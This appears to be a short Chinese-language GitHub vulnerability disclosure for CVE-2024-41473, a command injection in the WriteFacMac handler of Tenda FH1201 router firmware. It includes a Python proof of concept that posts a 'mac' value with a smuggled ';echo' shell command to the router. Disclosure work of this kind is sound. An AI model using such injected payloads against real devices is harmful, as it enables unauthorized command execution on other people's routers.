Skip to content

Latest commit

 

History

History
26 lines (16 loc) · 756 Bytes

Tenda-FH1201存在命令注入漏洞(CVE-2024-41473).md

File metadata and controls

26 lines (16 loc) · 756 Bytes

Tenda-FH1201存在命令注入漏洞(CVE-2024-41473)

Tenda FH1201 v1.2.0.14 存在命令注入漏洞,位于 WriteFacMac 函数中。mac 参数未经任何过滤就被复制到 var 中,然后执行,因此攻击者可利用此漏洞执行任意命令

固件下载网址:https://www.tendacn.com/download/detail-3322.html

image-20240730214702940

poc

import requests

ip = '192.168.74.145'

url = "http://" + ip + "/goform/WriteFacMac"
payload = ";echo 'hacker!'"

data = {"mac": payload}
response = requests.post(url, data=data)
print(response.text)

漏洞来源